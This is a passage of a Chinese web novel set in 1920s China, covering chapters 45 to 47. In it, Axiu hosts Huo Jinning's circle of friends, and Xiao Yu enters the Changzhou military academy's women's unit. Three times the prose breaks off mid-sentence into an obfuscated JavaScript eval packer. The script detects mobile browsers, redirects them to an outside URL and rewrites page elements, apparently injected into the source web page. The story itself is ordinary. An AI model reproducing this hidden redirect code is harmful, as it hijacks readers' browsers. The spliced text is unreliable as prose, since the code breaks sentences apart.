预想的焦苦并没有传来,反而是浓郁的奶香,清凉的甜意,而隐藏在其中的一分苦涩并不突兀,反而醇香回甘,意犹未尽。 阿绣忍不住又喝了几口,惊喜道:“这也是咖啡吗?为什么味道不同。” “咖啡也有许多种,我想你可能是受不了苦涩,所以这次加了奶和糖,希望你对咖啡改观。” 阿绣开心的点头:“嗯,我现在喜欢这个味道了。” 其实一直以来,她都有这个遗憾,她观察到霍锦宁常喝咖啡,觉得自己接受不了咖啡是不是哪里不对,偷偷试了几次仍然受不了,可能是第一次在七小姐家里喝的咖啡实在让她印象太深,无法忘记,而这一次她终于可以接受这种西洋饮品了。 “不过,其实不加奶加糖的咖啡也有其独到之处,苦涩也是一种必不可少的味道,有了苦,才能让人更加珍惜甜,也许以后你会明白。” 阿绣点头,决定以后也努力试试苦咖啡。 “在学校里怎么样?有没有交到新的朋友?” “朋友啊……”阿绣摇了摇头。 自从和钱亚萍吵架后,她们就再也没有说过话,没过多久钱亚萍就退学了,班级里风言风语不少,有人说她被洋人包养做情妇了,有人说她因为得罪七小姐一家人都被赶出上海了,总之,都不是什么好话。 然而以此带来的后果,就是本来在班级里受人排挤的阿绣,更加被孤立了。 不过,阿绣已经习惯了。 霍锦宁看她的神色已经猜到了几分,他安慰她:“没有关系,不是你的错,有朋友可以分享,可以倾诉,是件开心的事情,没有也不用强求。你可以利用独处的时间充实自己,只要你足够优秀,能够站到更高的地方,总能遇见志同道合的同伴。” “真的不是我的错吗?” 阿绣有些不敢相信,她总觉得是因为自己太懦弱,太笨拙,才会没人愿意和她做朋友,就像钱亚萍说的一样。 “道不同不相为谋,阿绣,你要相信,相同高度的云才能相遇,你还小,慢慢来。” 他用温柔淡定,却不用质疑的语气教给她人生道理,解开她的心结。他总是这样,能在她迷茫无措的时候,为她剥开迷雾,窥见阳光,就像风雨中的灯塔,就像夜空中的明星。 阿绣忐忑了一下,鼓起勇气问:“少爷,那阿绣可以把你当做朋友吗?” 霍锦宁清浅一笑:“你说呢?” 阿绣从那双温柔宽厚的眼中看见了自己小小的倒影,她坚定的点头,发自内心的笑了起来。 她悄悄告诉自己,她会更加努力,期待着有一天,她这片小小的云彩,也能在万里高空和他真正相遇。 书房的门被敲响,霍吉进来提醒霍锦宁:“少爷,时间到了。” 霍锦宁点头,对阿绣道:“我去处理些事情,你继续整理吧,记得咖啡不要多喝,否则晚上会睡不着了。” 霍锦宁走后,阿绣把那本《红楼梦》放在一边,继续去找书,可心思却忍不住飘到石头记上面,但她也知道自己可能并没有做好准备迎接一个心心念念十几年的惨淡结局,于是常常前一秒下定决心去翻开书页,后一秒又连忙否定这个想法,就这样纠结了好半天。 再一看表,已经快到晚饭时间,于是她下楼往厨房走去。 这段时间约定俗成一样,她每晚都会去帮霍吉的忙一起准备晚餐,而两人也越来越熟识,闲来无事可以聊上几句,阿绣发现霍吉大哥并非她原来以为的那样难以接近,只是面冷心热,其实很好相处。 她走到二楼拐角处,听见下面传来谈话声,想着霍锦宁许是在会客,打算偷偷的溜进厨房,没想到走到一楼楼梯上时,彻底愣住了。 客厅里沙发椅子上,或坐或立,一共大约十多个人,都是年轻男人,他们围绕着坐在沙发正中央的霍锦宁,正在谈论些什么,烟雾缭绕,水晶烟缸里塞满了洋烟蒂。 这里面的人,她只认识谢景澜,上次舞会一面之缘,这几日在霍锦宁这里也偶尔见过,她知道他跟在霍锦宁身边帮忙打理公司,看来现在他们在谈公事。 阿绣进退两难,正打算悄悄返回书房,不想冯历程不经意一抬眼,诧异开口: “这小姑娘是谁?” 这话一出,无数道目光集中过来,阿绣惶恐的后退一步。 看她衣着不像是佣人丫鬟,看她年纪也不像助理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15424907|169118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秘书,又是从楼上下来,不免让人产生暧昧猜测,有人大着胆子调侃: “二少这是金屋藏娇被我们逮个正着啊!” 冯历程为人比较正派,他推了推眼镜,不满的瞥了那人一眼:“锦宁不是这样的人。” 有霍锦宁京城旧识笑了起来,“历程啊,这就是你认识霍二哥认识得晚了,现在二哥走进婚姻的坟墓自然收敛不少了,想当年京城霍家二少那也是八大胡同花街柳巷的常客,风流一时啊。” 另一人搭腔:“就是,这‘携妻狎妓’实乃古今第一人,我等甘拜下风!” 提起这四个字,众人都心领神会的笑了起来,尽在不言中。 “二少,没想到如今你喜好这种小女孩,啧啧,禽兽!” 谢景澜不由瞪了那人一眼,呵斥道:“别在小妹妹面前瞎说,这是二哥资助的那个方姑娘,人还小,二哥当亲妹妹一样。” 大家恍然大悟,没想到说完他又转头表情严肃的问霍锦宁:“二哥您老看我这说辞还成吗?” 众人失笑,连冯历程都无奈摇头:“阿景,你这欲盖弥彰的一句顶十句啊。” “闹够了没有?” 霍锦宁淡淡开口,声音不大,却让每个人心中都颤了颤。想起这人对外心狠手辣笑面阎王的名声,不由都讪讪闭嘴。 阿绣无措的站在楼梯口,低头看着自己脚尖,脸上一阵红一阵白,忽听霍锦宁叫她:“阿绣,去沏壶茶过来。” “啊?好!” 阿绣连忙借机噔噔噔跑下楼梯,钻进了厨房。 她翻箱倒柜的找茶盒,身边有人忽然递过来了一个方形铁罐。 “少爷惯喝碧螺春。” 她一抬头,正是霍吉。 “谢谢......” 她接过茶罐,垂头不语,却听霍吉道: “少爷的那些朋友没个正行,但个个都有真才实学,如同幕僚一般给少爷出谋划策,他们有口无心,你别放在心上。” 阿绣没想到霍吉会主动安慰她,心情不禁好了不少,她点了点头, “我知道了,霍吉哥。” 等阿绣泡好热茶端到客厅的时候,不知道霍锦宁对他们说了些什么,每个人再见阿绣时都规矩了不少,连烟也掐了,客厅窗户大开,新鲜空气冲淡了烟味儿。 霍锦宁让阿绣给大家一一倒茶: “这是耶鲁大学毕业的铁路工程师,冯历程。” “冯少爷。”阿绣听话的叫人。 冯历程接过茶杯笑道:“叫我冯大哥就好,我听锦宁说起过你,他说你聪明伶俐,刚上学不到两年已经完全可以掌握中学课程了。” 阿绣连忙解释:“没有没有,数学还差很多。” “这是剑桥大学的硕士,楚汉,《字林西报》责编。” “楚少爷。” 这人就是刚才调侃最狠的那个,此时起身接过阿绣的茶,有些不好意思: “抱歉,刚才是和二哥开玩笑,我这人就是嘴巴损。听说你在看英文原著,有什么不懂的可以问我,我家里也有很多外文书,改天送你一套莎翁全集。” 阿绣抿嘴一笑:“谢谢。” “这是谢景澜,你见过。” “阿绣妹妹,莫怪莫怪,你也知道二哥这人严肃得很,我就是趁机开个玩笑。”谢景澜嬉皮笑脸的向阿绣赔罪,夸张道:“你要是还生我气,就直接打我两下也成,不然二哥准会把我派到天寒地冻的西伯利亚和北极熊谈生意。” “不会的。”阿绣连忙摇头,她求助的看向霍锦宁。 霍锦宁笑了笑,开口为她解围:“她胆子小,脸皮薄,你们别吓到她,我书房杂乱,还要劳烦她来规整。” 他把这些人挨个向她介绍,无形中让大家明白了她和霍锦宁间坦然的关系,两相解惑。 阿绣不好意思再留在这里,只好说:“你们谈正事,我去厨房帮忙,有什么杂事尽管吩咐我。” 45. 第 5 章 自从上次在霍锦宁家中遇见冯历程等人,阿绣发现他们隔三差五就会来这里议事,他们有人在霍家公司做事,有人在领事馆工作,有人在政府担当要职,不去饭馆,也不去交际场所,俨然将客厅当做沙龙会所。聚在一起,话里话外,有时是公司工作,有时是探讨时政,无外乎都是为了家国民生。 阿绣若在,一定在旁为他们端茶倒水,在霍锦宁默许之下,众人谈话也从来不避讳她。 抽烟伤肺,咖啡伤胃,苦茶伤肾,不喝酒已经是克制,如今碍于阿绣在场,霍锦宁发话,他们又将烟暂时忌了。可聊起天来咖啡苦茶总是少不了,尤其是霍锦宁,阿绣发现他不吸烟不喝酒,倒是常喝黑咖啡如喝水,已经到了完全免疫的地步,根本不担心晚上睡不着。 阿绣忍不住做些点心小菜佐茶,免得他们伤身子。 甜食稍差,咸食尚可,尤其是一道椒盐小酥饼意外的受大家欢迎。 这日阿绣正在厨房忙乎,冯历程走了进来,见她揉面急忙问道:“今日有小酥饼?” “是啊,我见少爷和你们都很合胃口。” “可不是,每次一端上来就被谢景澜和楚汉那几个小子抢光了。阿绣,待会儿做好了,你可要让我先尝几个。” “没问题。”阿绣微笑,她见冯历程手里拿着茶壶便问:“冯大哥是来添茶水吗?” “我是借添水为名义来躲清静的,客厅里又吵起来了。” 冯历程无奈苦笑,“这次为了声援省港大罢工,我们也有不少厂子工地都联合罢工了,有人支持,有人反对。霍老板为此大发雷霆,锦宁在他父亲面前顶着重压坚持不开除闹事工人,现在我们正在商议对策。” 阿绣似懂非懂的点点头,他们谈的正事她并不是都很明白,但这段日子也总算知道,为什么偌大个别墅除了霍吉和花匠门房外再没有别的下人了,这群人稀松平常谈论话题,无不事关重大,不足为外人道也。 “算了,不说这个了。”冯历程身为工程师也不太关心这些,摆摆手道:“还真得劳烦你再添一壶茶来。” 阿绣连忙在围裙上擦擦手上的面,接过茶壶:“咖啡还要吗?” “那就太好了。”冯历程笑了笑,“我们一群大男人确实粗心,每次来都弄得一团糟糕,难为你忙前忙后,连我们每个人的喜好都记得。” 谁喝普洱,谁喝咖啡,谁喝凉茶,谁爱加糖,无不被安排的妥妥帖帖,三不五时还有精致茶点,他们每个人都很喜欢这个说话软绵绵的小妹妹。 阿绣不好意思的笑了笑:“没关系的,听你们聊天,我也受益匪浅,知道了好些以前在学校里不知道的事情,你们不嫌我笨就好。” “当然不会,有什么想问的你尽管问我们。” “其实,我确实想问一问冯大哥,我记得少爷说您跟少爷在美国是同学是吗?”阿绣有些好奇。 “说起来,我与锦宁不仅是同窗之谊。当初是霍老先生资助我出国留学的,霍老先生出资成立基金,专门资助品学兼优的贫困学生,毕业回国后为霍家做事。这个基金会在老先生去世后被搁置很久,当然,现在由锦宁接手了。不过,我却是在美国和锦宁相识的,当时我还不知道他是霍家的少爷。” 提起往事,冯历程有些感慨:“那时我们在船上颠簸了两个多月才到了旧金山港口,船上加上我一共四十二个中国留学生,美国移民局的官员声称我们的证件不合格,拒绝我们入镜。按规矩应该暂时把我们安置在扣留所,但那个官员轻蔑的说扣留所不收容畜生一样的黄种人。为了不被遣返,我们只能从一条船上转移到另一条船上,寻找入境的机会,一共换了四条船,坚持了三周,花光了身上所有的盘缠。最后是留美中国学生会的同胞得知此事,找到美国朋友出面通融,多方周旋,这才得以进入美国。” “连日来挤在狭窄的船舱里,吃不饱睡不好,更不要说洗澡了,下船的时候,我们就像是一群甲板上晒了大半年的咸鱼,又腥又臭,形容狼狈。但是一下船来,等待我们的却是热情的握手和拥抱,留美中国学生会的会长带着很多同学来码头接我们,很多人当场泣不成声。” “年轻人都怀着一腔救国救民的热血漂洋过海,可身在异国他乡,缺衣短食,还要遭受外国人的排挤和歧视,日子很不好过。于是华人留学生都自发的成立了留美中国学生会,联络情谊、互相扶助、交换信息、出版刊物,可真正凝聚起来所有留美华人万众一心,说起来还是那几年才开始的。” 阿绣轻声问:“因为少爷就是那一届的会长?” 冯历程重重点头:“我选择铁路工程专业就是希望有一天中国能摆脱洋人的挟持,造出自己的铁路。然而外有列强,内有军阀,世事艰难,岂非朝夕可成?可我还是选择回来了,因为学生会毕业欢送会上,锦宁赠给所有中国留学生的那句话,那是一句荷马史诗。” “Youshallseethedifferencenowthatwearebackagain!” ——请看吧,我们已经回来,未来的世界将从此不同! . 每当谢景澜等人熙熙攘攘的进门,吵吵闹闹的谈天,又接二连三的离开后,客厅从喧嚣归为寂静,总是显得有那么几分冷清。 夜色降临,空荡的会客厅仿佛被蒙上了一层黑纱,只有沙发边的一盏金属落地灯亮着微弱的光,霍锦宁独自坐在灯下,仰头靠在沙发靠背上,闭目沉思。 阿绣轻手轻脚的走过去,将一盘热乎的小酥饼放在茶几上,珐琅盘子和玻璃桌面发出轻微的响声,霍锦宁睁开眼看见她,笑了笑: “给我留的?” 阿绣点头,“不加糖的。” 她也是最近才知晓的,霍锦宁并不爱吃甜食,而且几乎是对甜味完全抵触。想起当年在笙溪镇时她日日给他做的那些她自己喜欢的甜腻糕点,她就觉得十分不好意思,难为他为了不让她伤心还要昧着良心夸好吃。 “其实偶尔尝试也无妨。”霍锦宁拿起一块,咬了一口,问道:“你上一次说这酥饼叫什么?” “叫姑嫂饼。” 据说这酥饼以前是甜口,用炒过的面粉,熬过的白糖,去壳的芝麻,煎熟的猪油,精心拌匀,蒸煮后用模具压制成一个个小酥饼。是独门秘方,传媳不传女,后来这家的姑娘妒忌嫂子就趁嫂子外出把盐洒在粉料里,谁知歪打正着,蒸出来的的小酥饼,既香又甜,甜中带咸,还有点椒盐味,十分可口,倍受欢迎。此事之后,小酥饼的配方也传给了姑娘,姑嫂一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15424908|169118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同经营店铺,小酥饼也改名成了“姑嫂饼”。 阿绣把姑嫂饼的故事讲给了霍锦宁。 “同气连枝,一致对外,本该是最浅显的道理。” 霍锦宁轻叹。“阿绣,你知道何为省港大罢工吗?” 阿绣摇头,这些日子她经常听他们提起这件事,自己一知半解。 “年中开始,广州和香港就爆发了规模宏大的工人罢工运动,导/火/索是之前上海的五卅惨案。” 五月,上海学生工人抗议日本纱厂资本家镇压工人大罢工、打死工人,并号召收回租界,高呼“打倒帝国主义”等口号,英国巡捕开枪射击,当场打死十三人,重伤数十人,逮捕一百五十余人。 而这次省港大罢工中工人和各界群众十万余人在广州东较场追悼上海死难同胞,抗议帝国主义暴行,举行示威游/行,途经沙基路时,遭到沙面租界英法军警的机关枪扫射,停泊在白鹅潭的英、法军舰也开炮轰击,当场打死五十多人,重伤一百七十多人,轻伤不计其数。 “我们的国人,在自己的国土,为了死去的同胞抗议,居然被外国人公然开枪射杀,我们难道要为虎作伥开除带头罢工的工人吗?” 霍锦宁一声长叹,工人罢工,工厂工地固然停工受损,每日里的损失都是真金白银,然而这次罢工的意义并不局限于当下,它将是被帝国主义压迫下的中国工人能否争取自我权利的关键转折点。 可他说服不了父亲,霍家的大权终究还是在霍成宣的手中,他能做的,只是安排好那几个工人的去处而已。 他离他想要实现的理想抱负,还有很长的路要走。 阿绣感受到了他的心情,缓缓在他身边坐下来,默默的陪着他。 她知道,他加在自己身上的责任,实在太多了。 锦衣玉食,豪门贵子,他大可过着挥金如土,纸醉金迷的日子,可那一颗赤子之心偏偏热血,恨家国不兴,恨民不聊生,于是就这样分秒必争的去做一切能为这个国家做的。 吞并叔伯产业,收回长辈股份,结交公使洋人,贿赂高层权贵,这几年初入商场的霍二少风评并不好,背地里都叫他笑面阎王。世人只道他利益熏心六亲不认,怎知道他是多么迫不及待的强大,多么迫不及待想站在更高的地方掌握更多的权利,才有能耐做更大的事。 这些天来她怀着私心,悄悄向冯历程等人打听他的过往,试图拼凑出那些她不知晓的岁月里一个鲜活的霍锦宁。 他投入大把财力物力支持南方革命军,他倾注心血重新办起了祖父留下濒临破产的南洋大学,他资助了无数贫寒子弟留学海外,他顶着巨大的压力也要修稳赔不赚的铁路。 他说,外国有的,中国也必须有。 穷则独善其身,达则兼济天下。这个男人心里装着锦绣河山,装着四万万中国人。 可他也愿意关心她这样一个微不足道的小孤女,给她莫大的善意与呵护,倾听她最近看了哪本新书,在学校里有没有交到朋友,甚至和她在这样一个心力交瘁的夜晚讨论姑嫂饼偏甜还是偏咸。 初见时,阿绣只晓得他是上海来的富家少爷,丰神俊貌,越了解越知道,他很好,很好很好。 霍锦宁啊,他是这个世上最好的人。 46. 第 6 章 八月二十日这一天,广州市区南堤二号的陆军军校招考委员会门前,熙熙攘攘聚集了不少人,都是年轻女子,她们挤在一张长长的红纸前,迫不及待的寻找自己的名字。 一个黑瘦的小姑娘,仗着身形灵巧,东躲西闪的挤到了最前面,伸出手指在红榜上认认真真的数着,不一会儿只见她尖叫了一声。 “我被录取了!” 她转过身,用力的跳起来,对站在人群外的萧瑜兴奋的大喊: “萧瑜,我被录取了!” 萧瑜被晒得七荤八素,敷衍的冲她摆摆手,示意自己知道了。 那天在码头遇见侠肝义胆愣头愣脑的小姑娘陈胜男,因为身无分文,被她念在也许是未来同窗的份上而收留,住在霍家广州的房子里。 陈胜男来自东北奉天的一个小山村,今年刚满十七岁,之前在城里奉天女中的食堂帮厨,耳闻目染新式思想革命热潮,一心想做新时代的花木兰。因被父母逼婚嫁给老鳏夫为弟弟换彩礼钱,又恰巧从报纸上看到军校张贴的招生启示,毅然决然离家出走,独身一人从中国大东北来到大西南,立志从军报国。 两人一同参加了军校的复试,今天是放榜的日子,一大早萧瑜就被她拉过来蹲守在这里等结果。 “我帮你找你的名字!” 陈胜男又是一声大吼,转身趴在红榜上继续搜寻去了。 她从前到后仔细的看过每个名字,不由越看越着急,喃喃自语道: “怎么没有呢?不可能啊,萧瑜学问很好的,怎么还没有......啊,这里!” 红榜上密密麻麻的名字最后一行,写着最后被录取的两名:萧瑜,张邵敏。 “萧瑜,你也被录取了!” 陈胜男激动的挤出人群,跑过来拉起萧瑜的手,高兴得又蹦又跳: “我们都被录取了!太好了!” “我的名字在很后面?” “呃...是倒数第二个。” “没关系,不是还有垫背的。” 萧瑜对此结果意料之中,复试有笔试面试体质测试,其他都不在话下,唯有笔试中国文考试要求写的文章题目是:论述参加革命的原因。 赤胆忠心做不得假,她以这个名次被录取实属正常。 萧瑜拍了拍还在傻笑的陈胜男:“回去收拾收拾吧,五日后就要入学了。” “萧瑜,你怎么一点都不激动呢?”陈胜男疑惑:“我都要乐疯了,以后我陈招...不对,陈胜男和你萧瑜就再也不是以前受压迫的旧式女子了,而是军校光荣的革命军人了!” 萧瑜无奈:“你还是先把你的新名字熟悉好了再说吧,不然别人还以为你是冒名顶替的。” 因为陈胜男常常无意间说错自己名字,萧瑜原来也这么认为,后来听她解释,原来陈胜男以前在老家叫陈招娣,她家里六个姐姐一个弟弟,她排老六。她痛恨这个旧名字,从报考军校那天起就给自己起名陈胜男,决心叫世人都看清楚,谁说女子不如男! . 五日后,萧瑜和陈胜男前往陆军军校报到。 陈胜男本就一穷二白就拎着个破包袱,萧瑜也只简单收拾了一个小皮箱。 霍祥忍不住操心道:“小姐,您不多带着厚实衣服?入冬天气冷了怎么办?金环姐姐可特地交代我给您收拾好行李。” “广州冬天不比北京,没那么冷,况且军校有军装,这些衣服都穿不上。行了,这里平常不准出校,你留在这里也没用,赶紧回上海吧。” 萧瑜似笑非笑:“别以为我不知道,你小子刚在上海住几个月就和霍家二管家的女儿勾搭上了,答应年底娶人家,滚回去成亲吧,小姐我批准了。” 霍祥被戳破心事也不害臊,嬉皮笑脸道:“多谢小姐成全,什么时候小姐回上海,霍祥一定再跟小姐身边伺候的。说起来小的还是更喜欢金环姐姐,您看能不能......” “滚吧,兔子还不吃窝边草,少打金环主意!”萧瑜一脚踹过去,笑骂道,“这回你可别想了,金环和珏儿去英国了,没个三年五载你见不着。” 去英国留学,是萧珏主动提出来的,本来霍锦宁在上海也已经为他安排好了学校,可萧珏说姐姐姐夫都出国留学过,他也要出去见见世面,学成本事,然后回来更好的报效祖国。 其实,萧子显死后,萧瑜认回母亲,萧珏的存在多少就有些尴尬了,也许正是因为这样,他才主动提出这样一个牺牲自己让双方满意的决定。 萧瑜的这个弟弟,永远这样懂事的让人心疼。 可萧珏毕竟年幼,萧瑜很不放心,霍锦宁再三保证会托人照顾好他。金环倒是左右为难,一边是从军的小姐,一边是留学的小少爷,手心手背都是肉,急得满嘴燎泡好几宿没睡好觉,最后还是萧瑜表示自己在军校用不到丫鬟,发话让她跟着萧珏,这才了事。 . 话回当下,广州陆军军官学院,由苏联代表提议,中山先生决定,于去年六月份正式成立,培养教育新式军事人才,为革命队伍输送骨干力量。为了解放妇女,促进男女平权,今年六月份更是开历史先河,招收女子学员,成立女子队伍,是全世界第一批正经在编的军校女学员。 陆军军校位于广州东南方向二十多公里的长洲岛上,又被叫做长洲军校,四面环水,南连虎门,扼珠江要冲,进可攻退可守。 军校是在前清陆军军校小学堂旧址上改建而成,远远望去,草木茂盛,一片片相连的低矮瓦房,白色大门外除横匾上书“陆军军官学校”六个大字外,还有一副对联: 上联:升官发财请往他处 下联:贪生畏死勿入斯门 横批:革命者来 今日,是长洲三期女子队入学报到的日子,一百多名年轻的女子涌入军校,她们阶层各异,身份不同,却都怀揣着一腔革命热忱。 她们来到这里,成为一名正式的军校学员之前,面临的第一件大事就是——剪头发。 几个入学接待处的办事员忙得脚不沾地,接过萧瑜的录取通知,头也不抬的说:“去后面那排小平房第三个门外排队剪辫子,别磨蹭,这是规矩,从这一刻起你就是军人了,要服从纪律...呃......” 他一抬头看见了萧瑜一头比男人还短的头发,把剩下的话吞了回去,改口道:“那直接去第四个门里领军装吧。” 萧瑜左右无事,便陪陈胜男一同去剪发,只见那门口已经排起长长的队伍,所有长发女生自觉解开头发,有的一脸决绝,有的一脸沮丧。 终于排到了陈胜男,两人进门一看,屋里七八个理发师傅挥剪如飞,咔嚓咔嚓几下就完成手下一个人头,角落里长发鞭子堆积如山,女孩子的呜咽声时有时无,场景有些恐怖。 陈胜男坐在一面镜子前,闭上眼睛视死如归:“来吧,为革命流血牺牲,我无所畏惧......” 话还没说完,老师傅一剪刀下去,她的辫子就干脆的从头上落下来了。 老师傅把辫子拿到她眼前例行公事一样询问:“还要吗?” 陈胜男呆滞了一会儿,红了眼眶,一把抢过来,心疼的摸了摸,又从镜子里端详自己的新发型,可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“这已经比男子寝室已经好上不少了,如今军校初建一年多,一穷二白,百废待兴,去年的学员还睡在芦席搭成的棚子里呢。” 陈胜男趁机对张邵敏道:“对啊,不吃苦受累你还当什么兵,革什么命啊?趁早回去当你的大小姐吧!” 张邵敏气鼓鼓的瞪了她一眼,却没有还嘴。 “这位同学不能这么说,能来到这里,我们就没有阶层之分,都是一心为了革命,为了主义,以前的习惯慢慢改。”女教官笑道: “我叫魏若英,是政治部副主任,也是专门负责你们女子队日常生活和政治思想工作的老师。这是女子队的临时队长,你们有什么困难可以跟她说。” 她身边的一个年纪不小、身材微胖的女人向大家点头示意,她说话温和,带着一点南方口音: “我叫沈霞,大家可以叫我霞姐。” 萧瑜有些奇怪:“你也是学生?” 沈霞爽朗笑道:“是啊,不过我也是两个孩子的娘了,头脑比不上你们小年轻的转得快,以后大家共同学习,共同进步!” 陈胜男很好奇,拉着沈霞姐问东问西,张邵敏一边嫌弃一边默默收拾着自己的行李,萧瑜正要打开皮箱,却被魏若英拉到了一旁。 “老师?” 魏若英笑了笑:“你是萧瑜同学?” “是。” “跟我来吧,华永泰教官指名要见你。” 47. 第 7 章 简陋的教员室里只有一张办公桌,几把硬板凳,简易的屏风后面露出架子床的一角,显示着这间小小的教员室同时还兼顾着起居室的职责。 萧瑜坐在桌边,等待着那位传说中的女子队总教官华永泰。 对于这位华教官,她可谓是久闻大名。 如今两党合作,他是双重党籍人士,担任中央党部的执行委员,与康雅晴夫人等左/派人士一力促成了长洲三期女子队的成立。据说他年纪轻轻,一表人才,东洋留学,西洋念书,领导过学生运动,能文能武,还会演话剧。 这些都不算什么,最传奇是,他不是汉人,而是满人,大家都说他原是前清王孙公子贝勒爷,姓的是爱新觉罗皇姓。 思虑之中,门外传来了脚步声,一个军装笔挺的男人匆匆走进屋,随手将别着青天白日徽的军帽摘了下来,笑道: “党部临时召开会议,久等了。” “华教官?” 萧瑜站起身,施施然敬了个军礼: “或者,该叫您金先生?” 这人年轻英俊,剑眉星目,英气勃勃不失儒雅,笑起来三分暖意五分正气,正是昔日廖季生曾向萧瑜引荐过的金先生。 “华永泰是真名字,姓金也不是假的。”华永泰笑了笑,“坐吧。” 他拿起暖壶给她倒了杯茶水。 萧瑜接过搪瓷茶缸,抿了一口,略微皱眉,说是茶水,里面却只有一点茶叶沫,味道实在不敢恭维。 她放下茶缸坐了下来,意味深长的问道: “汉名姑且是真,那么满名呢?” 华永泰不否认,也不解释,坦然承认: “满名是宪仁,爱新觉罗宪仁。” 萧瑜一愣,金姓确实是爱新觉罗的汉姓不假,可他若排行“宪”字辈,那就是肃亲王府的公子,而肃亲王是宗社党的骨干,坚定的保皇党。宣统退位之时,他拒绝在诏书上签字,后来直接携亲眷逃往旅顺,投靠了日本人。虽然肃亲王已在前几年病逝,可他的后人都一心复辟满清,这些年搞出不少事来。 华永泰直言不讳:“我是肃亲王府第九子,家中很多兄弟姐妹从小被父亲送至日本,我在日本读书时接触了第三国际,接受了红色思潮的洗礼,早就立志革命,与家中断绝了关系。我从不隐瞒我的出身,就是要所有人都明白,我们都是中国人,五族共和,革命面前不分满汉。” 萧瑜由衷道:“华教官深明大义。” 不是所有人都能有勇气摆脱家族桎梏,也不是所有党派都有胸襟接纳这样的出身,只能说,生逢其时,相得益彰。 “好了,我的事已经说完了,下面该说你的了。” 华永泰从办公桌上的厚厚一沓学生报名表中翻找出其中一张,放在了桌子上, “我之前一直在招考委员会工作,看到你的名字时,我很诧异。你复试时的考卷我也看过了,老实说,好几位考官主张淘汰你,当然,我知道这也许有人在背后打过招呼的结果,但他们的理由不无道理,你的确是人才,但并不是军校想要的人才。” 萧瑜垂眸看着桌上那张写着自己名字的报名表,淡淡道: “我知道。” 她留过洋,习过武,会骑马开车,会美术音乐,在一众学员中鹤立鸡群,但这些都不是军校想要的。 当今中国,所有军队都是旧式军阀私军,他们为钱卖命,唯有广洲军校培养的军人,是革命党人的革命军,他们为革命而战,为主义牺牲。长洲军校的学生,不仅要文武双全,更重要的是,他必须有理想,有纪律,听命令服指挥,对革命绝对忠诚。 而萧瑜来到这里,只是为了和母亲作对而已。 “但是,我还是力排众议,坚持录取了你。” 萧瑜微愣,她知道康雅惠肯定会对她的考试横加干涉,而康雅聆也会在背后给她大开方便之门,最后结果不过是姐妹俩博弈的胜负,却不想那个关键的决定之人,竟然是华永泰。 “因为我觉得,一个学生为什么进入长洲的校门并不重要,重要的是,当他走出长洲的校门时,是否已经焕然一新。” 华永泰微微一笑:“我记得当初你说过,革命缺钱,缺枪,缺军队,那么如今我们就是在亲手创造这一切了。” 我们,他用的词是“我们”。 “那我,拭目以待。” 华永泰也不介意她的坚持,只颔首:“军校生活甚为辛苦,你要是有什么困难尽可以来找我。”他顿了顿,道:“有人托付我照顾你。” “谁?廖三哥?” 想来也只有他了,听闻她报考了长洲军校,即便知道这里与旧式军阀学校不同,廖三哥还是火急火燎的写了厚厚一沓信过来,连劝带骂,怕她吃不了这个苦。得知她下定决心之后,又写来更厚的一沓信来传授她自己上军校时的种种经验,包括但不限于挨军棍时要上什么药消肿比较快,食堂打饭时如何在最稀的汤里巧妙的捞出干货等等,不厌其烦。 据说还特地另写了更厚更厚的一封信来臭骂霍锦宁,骂他脑袋究竟抽了什么风放任萧瑜如此的胡来。 “季生确实有嘱托我。”华永泰笑了笑,“但是,不只他一个,具体的我便不好多透露了。” ...... . 长洲三期女子队,共录取一百八十二人,之前因故比同期男子队推迟招生两个月,故而在经过简易的开学典礼后,就刻不容缓的投入到了紧张的训练学习中。 女子队因放宽了招生政策,所以学员素质普遍稍差,学期定为两年,而同期男子队学期是一年。女子队有单独的宿舍,饭堂,课堂和操场,可除此之外,她们与男学员穿一样的军装,训练学习强度也一点不比男生弱。 清晨五点军号一响,十分钟内起床、穿衣、梳洗,将被子叠成豆腐块。然后进行十公里绕岛长跑,风雨无阻。每天八堂课,上午学科,下午术科。一日三餐粗粮饽饽,十二人四个菜,没有荤腥油水,十分钟内必须吃完。晚上九点,统一熄灯上床睡觉。 这样的生活当然是艰苦卓绝的,有人甘之如饴,有人抱怨不迭。 对于萧瑜来说,虽然没有伟大抱负,也没有私心之情,但这样的日子紧张枯燥,却又简单充实。她每天累得腰酸背痛,一头倒在床上,什么也不用想,闭上眼睛就睡死过去,再睁开又是新的一天。 身体很累,可心情却是从没有过的放松。 华永泰教官状若斯文,训练之时方显铁血本色,对这群女孩子一视同仁,毫无怜香惜玉之心。 近来台风多暴雨,清晨的绕岛长跑项目仍旧雷打不动,众人负重冒雨,在泥水里淌行而过。规定时间内所有人都要全部回到原点,一人迟到,全队受罚。 今日暴雨下的出奇大,瓢泼一般,对面不见人影,行走尚且困难,更不要说跑步了。 哗啦啦的雨声里,队长沈霞在前头大声鼓励着大家: “坚持住,不要掉队!还有半圈!” 